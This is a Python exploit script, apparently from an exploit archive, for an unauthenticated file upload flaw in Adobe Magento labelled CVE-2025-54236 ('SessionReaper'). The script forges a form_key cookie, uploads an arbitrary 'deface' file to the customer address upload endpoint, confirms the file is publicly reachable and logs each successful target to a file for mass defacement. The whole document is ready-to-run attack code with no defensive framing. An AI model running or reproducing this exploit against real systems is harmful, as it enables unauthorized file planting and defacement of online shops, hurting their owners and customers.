Adobe Magento "SessionReaper" Unauthenticated File Upload / LFI (CVE-2025-54236)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123

import sys
import os
import json
import random
import string
import requests
from urllib.parse import urlparse
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

def generate_form_key(length=16):
    return ''.join(random.choices(string.ascii_letters + string.digits, k=length))

def normalize_url(url):
    url = url.strip()
    if not url.startswith(("http://", "https://")):
        url = "https://" + url
    parsed = urlparse(url)
    return f"{parsed.scheme}://{parsed.netloc}"

def build_session():
    session = requests.Session()
    session.headers.update({
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    })
    retry = Retry(total=2, backoff_factor=1, status_forcelist=[429, 500, 502, 503, 504])
    adapter = HTTPAdapter(max_retries=retry)
    session.mount("http://", adapter)
    session.mount("https://", adapter)
    return session

def verify_upload(session, upload_url):
    try:
        r = session.get(upload_url, timeout=(5, 10), verify=False)
        if r.status_code == 200:
            print(f"[+] Confirmed: {upload_url}")
            return True
        print(f"[-] Could not be confirmed: ({r.status_code}): {upload_url}")
        return False
    except Exception as e:
        print(f"[-] Verification error: {e}")
        return False

def scan(url, deface_file):
    base_url = normalize_url(url)
    print(f"[*] Target: {base_url}")

    if not os.path.exists(deface_file):
        print(f"[-] The Deface file could not be found: {deface_file}")
        sys.exit(1)

    session = build_session()
    form_key = generate_form_key()

    try:
        with open(deface_file, 'rb') as f:
            files = {'custom_attributes[country_id]': f}
            data = {'form_key': form_key}
            headers = {'Cookie': f'form_key={form_key}'}

            response = session.post(
                f"{base_url}/customer/address_file/upload",
                files=files,
                data=data,
                headers=headers,
                timeout=(5, 15),
                verify=False
            )

        print(f"[*] HTTP: {response.status_code}")

        if response.status_code == 200:
            try:
                response_json = response.json()
                file_path = response_json.get('file', '')

                if file_path:
                    clean_path = file_path.replace('\\', '').lstrip('/')
                    upload_url = f"{base_url}/media/customer_address/{clean_path}"
                    print(f"[+] Upload successful.")
                    print(f"[*] URL: {upload_url}")

                    if verify_upload(session, upload_url):
                        with open("successfuls.txt", "a", encoding="utf-8") as out:
                            out.write(upload_url + "\n")
                        print(f"[+] successfuls.txt saved to file")
                        return upload_url
                    else:
                        with open("falsepositive.txt", "a", encoding="utf-8") as out:
                            out.write(upload_url + "\n")
                        return None
                else:
                    print(f"[*] Response: {response.text}")

            except json.JSONDecodeError:
                print(f"[*] Not JSON, raw response:\n{response.text}")
        else:
            print(f"[-] Unsuccessful")

    except requests.exceptions.ConnectTimeout:
        print(f"[-] Connection timeout")
    except requests.exceptions.ReadTimeout:
        print(f"[-] Reading timeout")
    except requests.exceptions.ConnectionError:
        print(f"[-] Connection error")
    except Exception as e:
        print(f"[-] Error: {e}")

    return None

def main():
    if len(sys.argv) < 2:
        print(f"Usage     : python3 ankamagento.py <url> [deface_file]")
        print(f"Example   : python3 ankamagento.py https://example.com dxeiz.txt")
        sys.exit(1)

    url = sys.argv[1]
    deface_file = sys.argv[2] if len(sys.argv) > 2 else "dxeiz.txt"

    scan(url, deface_file)

if __name__ == "__main__":
    main()